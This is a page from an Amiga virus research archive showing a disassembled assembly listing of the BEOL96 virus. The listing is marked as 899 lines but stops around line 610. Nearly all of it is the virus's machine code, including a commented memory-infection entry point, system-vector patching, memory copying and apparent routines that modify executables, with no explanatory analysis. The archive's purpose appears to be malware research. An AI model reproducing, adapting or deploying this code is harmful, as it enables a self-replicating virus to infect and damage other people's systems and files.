home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / BEOL96 / BEOL96_MEM.ASM < prev    next >
Assembly Source File  |  1999-06-12  |  23KB  |  899 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. CHK        EQU    $18
  6. EXT_0002    EQU    $3F2
  7. EXT_0003    EQU    $400
  8. EXT_0004    EQU    $600
  9. EXT_0005    EQU    $DFF007
  10. EXT_0006    EQU    $FFFFE568
  11.  
  12.  
  13.  
  14.  
  15.     SECTION S_0,CODE
  16.  
  17. SECSTRT_0:
  18.     MOVE.L    -(A0),D0        ;000: 2020
  19.     MOVE.L    -(A0),D0        ;002: 2020
  20.     MOVE.L    -(A0),D0        ;004: 2020
  21.     MOVE.L    -(A0),D0        ;006: 2020
  22.     MOVE.L    8264(A5),D0        ;008: 202D2048
  23.     NEG.B    32(A1,D2.W)        ;00C: 44312020
  24.     MOVE.L    -(A0),D0        ;010: 2020
  25.     MOVE.L    -(A0),D0        ;012: 2020
  26.     MOVE.L    -(A0),D0        ;014: 2020
  27.     MOVEA.L    28532(A6),A0        ;016: 206E6F74
  28.     MOVEA.L    -(A2),A0        ;01A: 2062
  29.     DC.W    $6F6F            ;01C
  30.     MOVEQ    #97,D2            ;01E: 7461
  31.     BHI.S    LAB_0002+4        ;020: 626C
  32.     BCS.S    LAB_0001+2        ;022: 6520
  33.     MOVEA.L    D1,A0            ;024: 2041
  34. LAB_0000:
  35.     DC.W    $444F            ;026
  36.     SUBQ.B    #1,-(A0)        ;028: 5320
  37.     DC.W    $2073            ;02A
  38.     DC.W    $6373            ;02C
  39.     DC.W    $692D            ;02E
  40.     MOVE    D0,D0            ;030: 3000
  41.     ORI.B    #$00,D0            ;032: 00000000
  42.     ORI.B    #$00,D0            ;036: 00000000
  43.     ORI.B    #$00,D0            ;03A: 00000000
  44.     ORI.B    #$00,D0            ;03E: 00000000
  45. LAB_0001:
  46.     ORI.B    #$1F,D0            ;042: 0000001F
  47.     LSL.L    D3,D0            ;046: E7A8
  48.     DC.W    $0001            ;048
  49.     ILLEGAL                ;04A: 4AFC
  50.     DC.W    $001F            ;04C
  51.     ASL.L    D3,D0            ;04E: E7A0
  52.     DC.W    $001F            ;050
  53.     DC.W    $E7C2            ;052
  54.     DC.W    $616D            ;054
  55.     BVS.S    LAB_0000        ;056: 69CE
  56.     DC.W    $00F8            ;058
  57.     ADD.B    27424(A0),D1        ;05A: D2286B20
  58.     ADDQ    #1,-(A5)        ;05E: 5265
  59.     DC.W    $636F            ;060
  60.     BGT.S    LAB_0005        ;062: 6E6E
  61.     DC.W    $001F            ;064
  62.     ASL.L    D3,D0            ;066: E7A0
  63.     ORI.B    #$00,D0            ;068: 00000000
  64.     ORI.B    #$00,D0            ;06C: 00000000
  65.     ORI.B    #$0A,D0            ;070: 0000000A
  66.     MOVE.B    D0,-(A0)        ;074: 1100
  67.     DC.W    $000A            ;076
  68.     ORI.B    #$02,D0            ;078: 00000002
  69.     DC.W    $001F            ;07C
  70.     ROL.L    #3,D0            ;07E: E798
  71.     ORI.B    #$68,D0            ;080: 00000068
  72.     DC.W    $001F            ;084
  73.     ASL    D2,D0            ;086: E560
  74.     DC.W    $0000            ;088
  75. LAB_0002:
  76.     ANDI.B    #$1F,(EXT_0006).W    ;08A: 0238001FE568
  77.     ORI.B    #$00,D0            ;090: 00000000
  78.     DC.W    $001F            ;094
  79.     LSL.B    D3,D0            ;096: E728
  80.     DC.W    $001F            ;098
  81.     LSL    D2,D0            ;09A: E568
  82.     ORI.B    #$01,D0            ;09C: 00000001
  83.     ORI.B    #$02,D0            ;0A0: 00000002
  84.     ORI.B    #$00,D0            ;0A4: 00000000
  85.     DC.W    $0000            ;0A8
  86. LAB_0003:
  87.     LEA    LAB_000A(PC),A0        ;0AA: 41FA018C
  88.     MOVE.L    (A0),D0            ;0AE: 2010
  89. LAB_0004:
  90.     SUBQ    #2,A0            ;0B0: 5548
  91.     CMP.L    (A0),D0            ;0B2: B090
  92.     BNE.S    LAB_0004        ;0B4: 66FA
  93.     MOVE    #$4EF9,(A0)        ;0B6: 30BC4EF9
  94.     MOVE.L    -(A0),D2        ;0BA: 2420
  95.     LSL.L    #2,D2            ;0BC: E58A
  96.     ADDQ.L    #4,D2            ;0BE: 5882
  97.     MOVE.L    D2,6(A0)        ;0C0: 21420006
  98.     MOVEA.L    D2,A0            ;0C4: 2042
  99.     EORI    #$286F,(A0)        ;0C6: 0A50286F
  100.     LEA    LAB_0003(PC),A1        ;0CA: 43FAFFDE
  101.     MOVEA.L    58(A6),A0        ;0CE: 206E003A
  102. LAB_0005:
  103.     MOVE    #$037A,D7        ;0D2: 3E3C037A
  104. LAB_0006:
  105.     MOVE    (A1)+,(A0)+        ;0D6: 30D9
  106.     DBF    D7,LAB_0006        ;0D8: 51CFFFFC
  107.     PEA    -1400(A0)        ;0DC: 4868FA88
  108.     JMP    -636(A6)        ;0E0: 4EEEFD84
  109.     CLR    D5            ;0E4: 4245
  110.     DC.W    $4F4C            ;0E6
  111.     DC.W    $3936            ;0E8
  112.     EOR.B    D2,D0            ;0EA: B500
  113.     RTS                ;0EC: 4E75
  114.     SUB.B    D2,D0            ;0EE: 9002
  115.     RTS                ;0F0: 4E75
  116.     ROR.B    #3,D0            ;0F2: E618
  117.     RTS                ;0F4: 4E75
  118.     ADD.B    D2,D0            ;0F6: D002
  119.     RTS                ;0F8: 4E75
  120.     DC.W    $180C            ;0FA
  121.     BTST    D7,(A5)            ;0FC: 0F15
  122.     BTST    D7,(A0)+        ;0FE: 0F18
  123.     DC.W    $040D            ;100
  124.     MOVE.B    (A0),D0            ;102: 1010
  125.     DC.W    $110A            ;104
  126.     ROXL.B    #1,D1            ;106: E311
  127.     DC.W    $06E4            ;108
  128.     MOVE.B    D4,-(A0)        ;10A: 1104
  129.     LSL.B    #4,D5            ;10C: E90D
  130.     MOVE.B    3331(A0),(A1)+        ;10E: 12E80D03
  131.     MOVEP    4112(A1),D1        ;112: 03091010
  132.     DC.W    $0203            ;116
  133.     ROL.B    #3,D0            ;118: E718
  134.     MOVEP    784(A1),D1        ;11A: 03090310
  135.     OR.B    (A2),D0            ;11E: 8012
  136.     ADDX.B    D0,D0            ;120: D100
  137.     DC.W    $041C            ;122
  138.     DC.W    $0A13            ;124
  139.     MOVEP    16890(A1),D0        ;126: 010941FA
  140.     DC.W    $0E00            ;12A
  141.     MOVEP    16890(A1),D0        ;12C: 010941FA
  142.     DC.W    $0F0C            ;130
  143.     BCHG    D4,(A1)            ;132: 0951
  144.     OR.B    D1,D4            ;134: 8801
  145.     BCHG    D4,D1            ;136: 0941
  146.     DC.W    $FA10            ;138
  147.     DC.W    $0C09            ;13A
  148.     ADDQ.L    #8,A0            ;13C: 5088
  149.     DC.W    $0448            ;13E
  150.     MOVEQ    #14,D5            ;140: 7A0E
  151.     DC.W    $0109            ;142
  152.     MOVEA.L    (A7)+,A0        ;144: 205F
  153.     DC.W    $0004            ;146
  154.     MOVE.B    (A3)+,-(A0)        ;148: 111B
  155.     MOVE.L    D1,-(A3)        ;14A: 2701
  156.     DC.W    $0841            ;14C
  157.     DC.W    $F804            ;14E
  158.     DC.W    $06F5            ;150
  159.     BTST    D1,D2            ;152: 0302
  160.     DC.W    $0820            ;154
  161.     DC.W    $0800            ;156
  162.     MOVEP.L    30726(A0),D2        ;158: 05487806
  163.     DC.W    $F501            ;15C
  164.     DC.W    $0220            ;15E
  165.     MOVE.B    D0,-(A7)        ;160: 1F00
  166.     BTST    D0,D2            ;162: 0102
  167.     MOVE    #$0B06,D0        ;164: 303C0B06
  168.     DC.W    $06F5            ;168
  169.     DC.W    $0C02            ;16A
  170.     SUBQ    #8,D0            ;16C: 5140
  171.     BTST    D0,D2            ;16E: 0102
  172.     MOVE    #$0606,D0        ;170: 303C0606
  173.     DC.W    $F502            ;174
  174.     DC.W    $0206            ;176
  175.     NEGX.B    D7            ;178: 4007
  176. LAB_0007:
  177.     OR.L    D5,D0            ;17A: 8085
  178.     OR.L    D2,-(A7)        ;17C: 85A7
  179.     DC.W    $CC09            ;17E
  180.     DC.W    $7D2F            ;180
  181.     ADDQ.B    #8,D7            ;182: 5007
  182.     DC.W    $0409            ;184
  183.     MOVE.B    (A7)+,-(A2)        ;186: 151F
  184.     DC.W    $0209            ;188
  185.     ADDQ    #1,A0            ;18A: 5248
  186.     DC.W    $0002            ;18C
  187.     MOVEP.L    20484(A0),D4        ;18E: 09485004
  188.     ADDQ.L    #1,(A7)            ;192: 5297
  189.     DC.W    $0109            ;194
  190.     MOVEA.L    (A7)+,A0        ;196: 205F
  191.     DC.W    $0001            ;198
  192.     DC.W    $0370            ;19A
  193.     BTST    D0,D3            ;19C: 0103
  194.     BTST    D4,D3            ;19E: 0903
  195.     ADDA    D0,A0            ;1A0: D0C0
  196.     DC.W    $0003            ;1A2
  197.     MOVEP    4120(A1),D1        ;1A4: 03091018
  198.     DC.W    $0027            ;1A8
  199.     DC.W    $0409            ;1AA
  200.     MOVE.B    (A1),-(A0)        ;1AC: 1111
  201.     DC.W    $0202            ;1AE
  202.     DC.W    $51C8            ;1B0
  203.     DC.W    $0A02            ;1B2
  204.     ANDI    #$4004,(A3)        ;1B4: 02534004
  205.     DC.W    $6A00            ;1B8
  206.     DC.W    $0A02            ;1BA
  207.     DC.W    $024A            ;1BC
  208.     NEGX.B    D4            ;1BE: 4004
  209.     BEQ.S    LAB_0008+2        ;1C0: 6706
  210.     DC.W    $0202            ;1C2
  211.     SUBQ    #1,D0            ;1C4: 5340
  212. LAB_0008:
  213.     SUBI    #$000A,-(A0)        ;1C6: 0460000A
  214.     AND.B    D4,D0            ;1CA: C004
  215.     BTST    D7,(A3)+        ;1CC: 0F1B
  216.     MOVE.L    D5,-(A3)        ;1CE: 2705
  217.     PEA    LAB_0009(PC)        ;1D0: 487A0006
  218.     DC.W    $054E            ;1D4
  219.     DC.W    $EEFD            ;1D6
  220. LAB_0009:
  221.     OR.B    D0,D2            ;1D8: 8400
  222.     BTST    D0,D7            ;1DA: 0107
  223.     LEA    1789(A6),A0        ;1DC: 41EE06FD
  224.     OR.B    D2,D2            ;1E0: 8402
  225.     DC.W    $074E            ;1E2
  226.     DC.W    $A807            ;1E4
  227.     BTST    D0,D1            ;1E6: 0101
  228.     MOVE    #$08FD,D0        ;1E8: 303C08FD
  229.     OR.B    D4,D2            ;1EC: 8404
  230.     DC.W    $4EB6            ;1EE
  231.     BTST    D4,D1            ;1F0: 0901
  232.     DC.W    $054E            ;1F2
  233.     DC.W    $AEFD            ;1F4
  234.     OR.B    D0,D2            ;1F6: 8400
  235.     DC.W    $040A            ;1F8
  236.     MOVE.B    -(A4),D4        ;1FA: 1824
  237.     BTST    D2,30720(A4)        ;1FC: 052C7800
  238.     DC.W    $0400            ;200
  239.     BTST    D0,D0            ;202: 0100
  240.     MOVEQ    #4,D0            ;204: 7004
  241.     BTST    D1,D6            ;206: 0306
  242.     DC.W    $0020            ;208
  243.     NEGX.B    D2            ;20A: 4002
  244.     DC.W    $062C            ;20C
  245.     ADDQ.B    #8,D0            ;20E: 5000
  246.     BTST    D0,D0            ;210: 0100
  247.     MOVE.L    (EXT_0003).W,D0        ;212: 20380400
  248.     SUBI.B    #$2C,D2            ;216: 0402002C
  249.     NEGX.B    D0            ;21A: 4000
  250.     BTST    D0,D6            ;21C: 0106
  251.     LEA    (EXT_0004).W,A0        ;21E: 41F80600
  252.     DC.W    $0402            ;222
  253.     DC.W    $062C            ;224
  254.     DC.W    $6807            ;226
  255.     BSR.S    LAB_000A        ;228: 610E
  256.     LEA    56(A7),A0        ;22A: 41EF0038
  257.     MOVEA.L    (A0),A6            ;22E: 2C50
  258.     MOVE.L    D2,(A0)            ;230: 2082
  259.     MOVEM.L    (A7)+,D0-D7/A0-A5    ;232: 4CDF3FFF
  260.     RTS                ;236: 4E75
  261. LAB_000A:
  262.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;238: 48E7FFFE
  263.     JSR    -132(A6)        ;23C: 4EAEFF7C
  264.     MOVEQ    #13,D1            ;240: 720D
  265.     LEA    LAB_000E(PC),A1        ;242: 43FA002A
  266.     MOVEA.L    420(A6),A0        ;246: 206E01A4
  267.     BSR.S    LAB_000C        ;24A: 6110
  268.     MOVEA.L    406(A6),A0        ;24C: 206E0196
  269.     BSR.S    LAB_000C        ;250: 610A
  270.     JSR    -138(A6)        ;252: 4EAEFF76
  271.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;256: 4CDF7FFF
  272. LAB_000B:
  273.     RTS                ;25A: 4E75
  274. LAB_000C:
  275.     TST.L    (A0)            ;25C: 4A90
  276.     BEQ.S    LAB_000B        ;25E: 67FA
  277.     CMP.B    8(A0),D1        ;260: B2280008
  278.     BNE.S    LAB_000D        ;264: 6604
  279.     MOVE.L    A1,180(A0)        ;266: 214900B4
  280. LAB_000D:
  281.     MOVEA.L    (A0),A0            ;26A: 2050
  282.     BRA.S    LAB_000C        ;26C: 60EE
  283.  
  284. * MEMORY INFECTION JUMP HERE *
  285.  
  286. LAB_000E:
  287.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;26E: 48E77FFE
  288.     MOVEA.L    (ABSEXECBASE).W,A6    ;272: 2C780004
  289.     MOVEA.L    276(A6),A3        ;276: 266E0114
  290.     LEA    70(A3),A3        ;27A: 47EB0046
  291.     BSR    LAB_0037        ;27E: 610002D0
  292.     MOVEA.L    D0,A5            ;282: 2A40
  293.     LEA    (CHK).W,A4        ;284: 49F80018
  294.     ADDA.L    10(A5),A4        ;288: D9ED000A
  295.     BSR.S    LAB_000A        ;28C: 61AA
  296.     NOT.B    9(A5)            ;28E: 462D0009
  297.     BMI.S    LAB_0013        ;292: 6B3E
  298.     MOVE.L    -20(A4),D6        ;294: 2C2CFFEC
  299.     MOVEA.L    D6,A0            ;298: 2046
  300.     TST.L    96(A0)            ;29A: 4AA80060
  301.     BNE.S    LAB_0013        ;29E: 6632
  302.     MOVE.L    -16(A4),D0        ;2A0: 202CFFF0
  303.     BSR.S    LAB_0010        ;2A4: 611E
  304.     DC.W    $040A            ;2A6
  305.     DC.W    $0032            ;2A8
  306.     BSET    D1,330(A7)        ;2AA: 03EF014A
  307.     BSET    D1,164(A5)        ;2AE: 03ED00A4
  308.     ORI    #$0150,(A2)        ;2B2: 00520150
  309.     ORI.B    #$22,(A0)+        ;2B6: 00180022
  310.     ORI.B    #$1E,(A7)        ;2BA: 0017001E
  311. LAB_000F:
  312.     ADDA    (A0),A0            ;2BE: D0D0
  313.     JSR    (A0)            ;2C0: 4E90
  314.     BRA.S    LAB_0012        ;2C2: 600A
  315. LAB_0010:
  316.     MOVEA.L    (A7)+,A0        ;2C4: 205F
  317. LAB_0011:
  318.     CMP    (A0)+,D0        ;2C6: B058
  319.     BEQ.S    LAB_000F        ;2C8: 67F4
  320.     MOVEA    (A0)+,A1        ;2CA: 3258
  321.     BLT.S    LAB_0011        ;2CC: 6DF8
  322. LAB_0012:
  323.     CLR.B    9(A5)            ;2CE: 422D0009
  324. LAB_0013:
  325.     MOVE.L    A5,D0            ;2D2: 200D
  326.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;2D4: 4CDF7FFE
  327.     RTS                ;2D8: 4E75
  328.     SUBA.L    A0,A0            ;2DA: 91C8
  329.     MOVE.L    102(A3),D0        ;2DC: 202B0066
  330.     LSL.L    #2,D0            ;2E0: E588
  331.     BEQ.S    LAB_001A        ;2E2: 6760
  332.     MOVE.L    16(A0,D0.L),D0        ;2E4: 20300810
  333.     LSL.L    #2,D0            ;2E8: E588
  334.     BEQ.S    LAB_001A        ;2EA: 6758
  335.     MOVEA.L    D0,A0            ;2EC: 2040
  336.     MOVEQ    #0,D0            ;2EE: 7000
  337.     MOVE.B    (A0)+,D0        ;2F0: 1018
  338.     ADDA    D0,A0            ;2F2: D0C0
  339.     BSR.S    LAB_0015        ;2F4: 6114
  340.     BCLR    D1,-(A0)        ;2F6: 03A0
  341.     SUB    A0,D4            ;2F8: 9848
  342.     BRA.S    LAB_0014        ;2FA: 6002
  343.     SUB    A0,D0            ;2FC: 9048
  344. LAB_0014:
  345.     MOVE.L    A0,D0            ;2FE: 2008
  346.     NEGX.B    (A0)+            ;300: 4018
  347.     MOVEQ    #40,D0            ;302: 7028
  348.     DC.W    $1058            ;304
  349.     DC.W    $9078            ;306
  350.     DC.W    $B8FF            ;308
  351. LAB_0015:
  352.     MOVEA.L    (A7)+,A1        ;30A: 225F
  353.     BRA.S    LAB_0017        ;30C: 6002
  354. LAB_0016:
  355.     ADDA    D7,A1            ;30E: D2C7
  356. LAB_0017:
  357.     MOVEQ    #0,D7            ;310: 7E00
  358.     MOVE.B    (A1)+,D7        ;312: 1E19
  359.     BMI.S    LAB_001A        ;314: 6B2E
  360.     MOVEA.L    A0,A2            ;316: 2448
  361. LAB_0018:
  362.     MOVE.B    -(A2),D0        ;318: 1022
  363.     LSL.B    #3,D0            ;31A: E708
  364.     CMP.B    (A1)+,D0        ;31C: B019
  365.     BNE.S    LAB_0016        ;31E: 66EE
  366.     DBF    D7,LAB_0018        ;320: 51CFFFF6
  367.     MOVEQ    #36,D0            ;324: 7024
  368.     ADD.L    (A4),D0            ;326: D094
  369.     LSL.L    #2,D0            ;328: E588
  370.     MOVEA.L    D0,A0            ;32A: 2040
  371.     MOVEA.L    A0,A1            ;32C: 2248
  372.     BSR.S    LAB_001B        ;32E: 6116
  373.     BNE.S    LAB_001A        ;330: 6612
  374.     ADDA    D0,A0            ;332: D0C0
  375.     MOVEQ    #3,D7            ;334: 7E03
  376. LAB_0019:
  377.     MOVE.B    (A0)+,D0        ;336: 1018
  378.     ROR    #8,D0            ;338: E058
  379.     DBF    D7,LAB_0019        ;33A: 51CFFFFA
  380.     BEQ.S    LAB_001A        ;33E: 6704
  381.     MOVE.L    D0,-20(A1)        ;340: 2340FFEC
  382. LAB_001A:
  383.     RTS                ;344: 4E75
  384. LAB_001B:
  385.     MOVEQ    #0,D0            ;346: 7000
  386.     MOVE.B    (A0),D0            ;348: 1010
  387.     SUBQ    #4,D0            ;34A: 5940
  388.     BLT.S    LAB_001C        ;34C: 6D04
  389.     TST.B    1(A0,D0.W)        ;34E: 4A300001
  390. LAB_001C:
  391.     RTS                ;352: 4E75
  392.     BSR    LAB_0025        ;354: 6100008C
  393.     TST.L    -12(A4)            ;358: 4AACFFF4
  394.     BEQ.S    LAB_001C        ;35C: 67F4
  395.     MOVEQ    #65,D0            ;35E: 7041
  396.     LSL.L    #2,D0            ;360: E588
  397.     MOVEQ    #1,D1            ;362: 7201
  398.     JSR    -684(A6)        ;364: 4EAEFD54
  399.     MOVE.L    D0,(A3)            ;368: 2680
  400.     BEQ.S    LAB_001C        ;36A: 67E6
  401.     MOVEA.L    D0,A2            ;36C: 2440
  402.     LEA    LAB_003A(PC),A0        ;36E: 41FA0210
  403.     BSR.S    LAB_0022        ;372: 6152
  404.     MOVEA.L    124(A2),A0        ;374: 206A007C
  405.     SUBQ    #3,124(A2)        ;378: 576A007C
  406.     BGE.S    LAB_001D        ;37C: 6C02
  407.     ADDQ    #8,D5            ;37E: 5045
  408. LAB_001D:
  409.     BGE.S    LAB_0025        ;380: 6C60
  410.     MOVE.L    A0,D5            ;382: 2A08
  411.     ADDA    #$0802,A0        ;384: D0FC0802
  412.     MOVE.L    A0,D0            ;388: 2008
  413.     MOVEQ    #1,D1            ;38A: 7201
  414.     JSR    -684(A6)        ;38C: 4EAEFD54
  415.     MOVE.L    D0,(A2)+        ;390: 24C0
  416.     MOVE.L    D5,(A2)            ;392: 2485
  417.     ADD.L    D0,(A2)+        ;394: D19A
  418.     MOVE.L    D0,(A2)+        ;396: 24C0
  419.     BEQ.S    LAB_001E        ;398: 6706
  420.     LEA    132(A2),A0        ;39A: 41EA0084
  421.     BSR.S    LAB_001B        ;39E: 61A6
  422. LAB_001E:
  423.     BEQ.S    LAB_0025        ;3A0: 6740
  424.     ADDQ.B    #4,(A0)            ;3A2: 5810
  425.     LEA    5(A0,D0.W),A1        ;3A4: 43F00005
  426.     CLR.B    (A1)+            ;3A8: 4219
  427. LAB_001F:
  428.     MOVE.B    D5,(A1)+        ;3AA: 12C5
  429.     LSR.L    #8,D5            ;3AC: E08D
  430.     BNE.S    LAB_001F        ;3AE: 66FA
  431.     MOVE.L    D4,(A2)+        ;3B0: 24C4
  432.     MOVE.L    4(A4),D0        ;3B2: 202C0004
  433.     LSL.L    #2,D0            ;3B6: E588
  434.     MOVEA.L    D0,A0            ;3B8: 2040
  435.     MOVE.B    (A0)+,D0        ;3BA: 1018
  436.     MOVE.B    D0,(A2)+        ;3BC: 14C0
  437. LAB_0020:
  438.     MOVE.B    (A0)+,(A2)+        ;3BE: 14D8
  439.     SUBQ.B    #1,D0            ;3C0: 5300
  440.     BGT.S    LAB_0020        ;3C2: 6EFA
  441. LAB_0021:
  442.     RTS                ;3C4: 4E75
  443. LAB_0022:
  444.     LEA    16(A4),A1        ;3C6: 43EC0010
  445.     MOVEQ    #9,D1            ;3CA: 7209
  446. LAB_0023:
  447.     MOVE.L    -(A1),-(A7)        ;3CC: 2F21
  448.     DBF    D1,LAB_0023        ;3CE: 51C9FFFC
  449.     JSR    (A0)            ;3D2: 4E90
  450.     LEA    -24(A4),A1        ;3D4: 43ECFFE8
  451.     MOVEQ    #9,D1            ;3D8: 7209
  452. LAB_0024:
  453.     MOVE.L    (A7)+,(A1)+        ;3DA: 22DF
  454.     DBF    D1,LAB_0024        ;3DC: 51C9FFFC
  455.     RTS                ;3E0: 4E75
  456. LAB_0025:
  457.     MOVE.L    (A3),D0            ;3E2: 2013
  458.     BEQ.S    LAB_0021        ;3E4: 67DE
  459.     SUBA.L    A1,A1            ;3E6: 93C9
  460.     MOVEA.L    8(A1,D0.L),A1        ;3E8: 22710808
  461.     BSR.S    LAB_0026        ;3EC: 6104
  462.     MOVEA.L    (A3),A1            ;3EE: 2253
  463.     CLR.L    (A3)            ;3F0: 4293
  464. LAB_0026:
  465.     JMP    -690(A6)        ;3F2: 4EEEFD4E
  466.     MOVE.L    (A3),D0            ;3F6: 2013
  467.     BEQ.S    LAB_0025        ;3F8: 67E8
  468.     MOVEA.L    D0,A2            ;3FA: 2440
  469.     LEA    LAB_0038(PC),A0        ;3FC: 41FA0162
  470.     BSR.S    LAB_0022        ;400: 61C4
  471.     BRA.S    LAB_0025        ;402: 60DE
  472.     MOVE.L    (A3),D0            ;404: 2013
  473.     BEQ.S    LAB_0021        ;406: 67BC
  474.     MOVEA.L    D0,A2            ;408: 2440
  475.     MOVEA.L    (A2)+,A1        ;40A: 225A
  476.     MOVE.L    -12(A4),D0        ;40C: 202CFFF4
  477.     BEQ.S    LAB_0021        ;410: 67B2
  478.     MOVE.L    D0,D5            ;412: 2A00
  479.     ADDA.L    D0,A1            ;414: D3C0
  480.     CMPA.L    (A2),A1            ;416: B3D2
  481.     BGT.S    LAB_0025        ;418: 6EC8
  482.     MOVE.L    A1,-(A2)        ;41A: 2509
  483.     SUBA.L    D0,A1            ;41C: 93C0
  484.     MOVEA.L    (A4),A0            ;41E: 2054
  485.     JSR    -624(A6)        ;420: 4EAEFD90
  486.     CMP.L    4(A4),D5        ;424: BAAC0004
  487.     BEQ.S    LAB_0021        ;428: 679A
  488.     MOVEA.L    (A2)+,A1        ;42A: 225A
  489.     CMPA.L    (A2)+,A1        ;42C: B3DA
  490. LAB_0027:
  491.     BNE.S    LAB_0025        ;42E: 66B2
  492.     MOVEA.L    (A2),A2            ;430: 2452
  493.     SUBI.L    #$000003F3,(A2)+    ;432: 049A000003F3
  494.     BNE.S    LAB_0025        ;438: 66A8
  495.     MOVE.L    A1,-(A7)        ;43A: 2F09
  496.     MOVE    #$06F5,D5        ;43C: 3A3C06F5
  497.     ADDA    #$0702,A1        ;440: D2FC0702
  498.     DC.W    $41FA            ;444
  499.     BCHG    D1,(A2)+        ;446: 035A
  500.     BSR    LAB_003D        ;448: 61000176
  501.     ADDQ    #4,A2            ;44C: 584A
  502.     MOVEA.L    A2,A0            ;44E: 204A
  503.     MOVE.L    (A0),D4            ;450: 2810
  504.     ADDQ.L    #1,(A0)            ;452: 5290
  505.     ADDQ.L    #8,A0            ;454: 5088
  506.     ADDQ.L    #1,(A0)+        ;456: 5298
  507.     LSL.L    #2,D4            ;458: E58C
  508.     ADDA.L    D4,A0            ;45A: D1C4
  509.     LSR.L    #2,D4            ;45C: E48C
  510.     MOVEQ    #0,D3            ;45E: 7600
  511.     MOVEQ    #-8,D7            ;460: 7EF8
  512. LAB_0028:
  513.     MOVE.L    (A0)+,D0        ;462: 2018
  514.     SUBI    #$03E8,D0        ;464: 044003E8
  515.     BPL.S    LAB_002B        ;468: 6A04
  516. LAB_0029:
  517.     MOVE.L    (A7)+,D0        ;46A: 201F
  518. LAB_002A:
  519.     BNE.S    LAB_0027        ;46C: 66C0
  520. LAB_002B:
  521.     CMPI    #$000B,D0        ;46E: 0C40000B
  522.     BGE.S    LAB_0029        ;472: 6CF6
  523.     MOVE.B    LAB_002C(PC,D0.W),D0    ;474: 103B0006
  524.     JMP    LAB_002C(PC,D0.W)    ;478: 4EFB0002
  525. LAB_002C:
  526.     DC.W    $440C            ;47C
  527.     DC.W    $0C4C            ;47E
  528.     MOVE.L    -4370(A6),(A6)+        ;480: 2CEEEEEE
  529.     MOVEA    D4,A4            ;484: 3844
  530.     ADDQ.B    #8,D0            ;486: 5000
  531.     MOVE.L    (A0)+,D1        ;488: 2218
  532.     TST.L    D7            ;48A: 4A87
  533.     BPL.S    LAB_002D        ;48C: 6A04
  534.     ADD.L    A0,D7            ;48E: DE88
  535.     EOR    D2,(A0)            ;490: B550
  536. LAB_002D:
  537.     CMPI    #$4E75,2(A0)        ;492: 0C684E750002
  538.     BEQ.S    LAB_0029        ;498: 67D0
  539.     LSL.L    #2,D1            ;49A: E589
  540.     ADDA.L    D1,A0            ;49C: D1C1
  541. LAB_002E:
  542.     TAS    D3            ;49E: 4AC3
  543.     BEQ.S    LAB_0028        ;4A0: 67C0
  544.     SUBQ    #1,D4            ;4A2: 5344
  545.     BEQ.S    LAB_0029        ;4A4: 67C4
  546.     BRA.S    LAB_0028        ;4A6: 60BA
  547. LAB_002F:
  548.     MOVE.L    (A0)+,D1        ;4A8: 2218
  549.     BEQ.S    LAB_0028        ;4AA: 67B6
  550.     ADDQ.L    #1,(A0)+        ;4AC: 5298
  551.     LSL.L    #2,D1            ;4AE: E589
  552.     ADDA.L    D1,A0            ;4B0: D1C1
  553.     BRA.S    LAB_002F        ;4B2: 60F4
  554. LAB_0030:
  555.     MOVE.L    (A0)+,D1        ;4B4: 2218
  556.     BEQ.S    LAB_0028        ;4B6: 67AA
  557.     LSL.L    #2,D1            ;4B8: E589
  558.     LEA    4(A0,D1.L),A0        ;4BA: 41F01804
  559.     BRA.S    LAB_0030        ;4BE: 60F4
  560.     MOVE.L    (A0)+,D1        ;4C0: 2218
  561.     LSL.L    #2,D1            ;4C2: E589
  562.     ADDA.L    D1,A0            ;4C4: D1C1
  563.     BRA.S    LAB_0028        ;4C6: 609A
  564.     ADDQ.L    #4,A0            ;4C8: 5888
  565.     BRA.S    LAB_002E        ;4CA: 60D2
  566.     MOVEQ    #0,D3            ;4CC: 7600
  567.     SUBQ    #1,D4            ;4CE: 5344
  568.     BNE.S    LAB_0028        ;4D0: 6690
  569.     MOVE.L    A0,D3            ;4D2: 2608
  570.     CMP.L    (A7)+,D3        ;4D4: B69F
  571.     BNE.S    LAB_002A        ;4D6: 6694
  572.     LEA    LAB_0033(PC),A0        ;4D8: 41FA004A
  573.     BSR.S    LAB_0031        ;4DC: 6104
  574.     LEA    LAB_0032(PC),A0        ;4DE: 41FA0006
  575. LAB_0031:
  576.     BRA    LAB_0022        ;4E2: 6000FEE2
  577. LAB_0032:
  578.     MOVEQ    #8,D0            ;4E6: 7008
  579.     MOVEQ    #-1,D1            ;4E8: 72FF
  580.     MOVEM.L    D0-D1,(A4)        ;4EA: 48D40003
  581.     MOVE    #$03F0,D0        ;4EE: 303C03F0
  582.     BSR.S    LAB_0035        ;4F2: 6148
  583.     MOVE.L    A2,(A4)            ;4F4: 288A
  584.     MOVEQ    #12,D0            ;4F6: 700C
  585.     MOVE.L    D0,4(A4)        ;4F8: 29400004
  586.     MOVEQ    #87,D0            ;4FC: 7057
  587.     BSR.S    LAB_0035        ;4FE: 613C
  588.     ADDQ    #8,A2            ;500: 504A
  589.     MOVE.L    D5,(A2)            ;502: 2485
  590.     SUB.L    A2,D7            ;504: 9E8A
  591.     MOVE.L    A2,(A4)            ;506: 288A
  592.     MOVE.L    D7,4(A4)        ;508: 29470004
  593.     ADD.L    A2,D7            ;50C: DE8A
  594.     BSR.S    LAB_0036        ;50E: 6130
  595.     ADDQ    #3,D5            ;510: 5645
  596.     LSL.L    #2,D5            ;512: E58D
  597.     MOVEM.L    D3/D5,(A4)        ;514: 48D40028
  598.     BSR.S    LAB_0036        ;518: 6126
  599.     SUB.L    D7,D3            ;51A: 9687
  600.     MOVE.L    D7,(A4)            ;51C: 2887
  601.     MOVE.L    D3,4(A4)        ;51E: 29430004
  602.     BRA.S    LAB_0036        ;522: 601C
  603. LAB_0033:
  604.     MOVEQ    #0,D1            ;524: 7200
  605. LAB_0034:
  606.     CLR.L    -4(A4)            ;526: 42ACFFFC
  607.     MOVEQ    #16,D0            ;52A: 7010
  608.     ADD.L    (A3),D0            ;52C: D093
  609.     MOVEA.L    D0,A0            ;52E: 2040
  610.     MOVE.L    -(A0),(A4)        ;530: 28A0
